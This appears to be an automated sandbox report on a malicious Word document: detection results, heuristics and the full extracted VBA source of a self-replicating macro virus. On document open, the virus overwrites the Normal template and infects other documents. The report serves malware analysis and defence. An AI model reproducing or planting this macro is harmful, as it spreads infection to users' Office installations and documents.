MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Office document containing VBA macros. The `document_open` macro is designed to replicate itself to the Normal template and the active document. This behavior suggests a worm-like capability, aiming to spread its malicious macro. While no direct payload execution or network communication is evident from the provided script, this replication mechanism is a common precursor to more harmful actions.
Heuristics 3
-
ClamAV: Doc.Trojan.Rv-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Rv-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1308 bytes |
SHA-256: 30747d62e464997c7766db879c3197f97c831c1207a32d544ec64137979f7a3e |
|||
|
Detection
ClamAV:
Doc.Trojan.Rv-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' --Replication Virus--
Private Sub document_open()
Set norm = NormalTemplate.VBProject.vbcomponents.Item(1).codemodule
Set actve = ActiveDocument.VBProject.vbcomponents.Item(1).codemodule
If norm.lines(1, 1) <> "' --Replication Virus--" Then
Set Destination = NormalTemplate.VBProject.vbcomponents.Item(1).codemodule
Dim count As Integer
Destination.deletelines 1, Destination.countoflines
Set Source = ActiveDocument.VBProject.vbcomponents.Item(1).codemodule
count = Source.countoflines
Destination.insertlines 1, Source.lines(1, count)
ElseIf norm.lines(1, 1) = "' --Replication Virus--" Then
If actve.lines(1, 1) = "' --Replication Virus--" Then
End
End If
Set Source = NormalTemplate.VBProject.vbcomponents.Item(1).codemodule
Set Destination = ActiveDocument.VBProject.vbcomponents.Item(1).codemodule
Destination.deletelines 1, Destination.countoflines
Dim counta As Integer
counta = Source.countoflines
Destination.insertlines 1, Source.lines(1, counta)
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.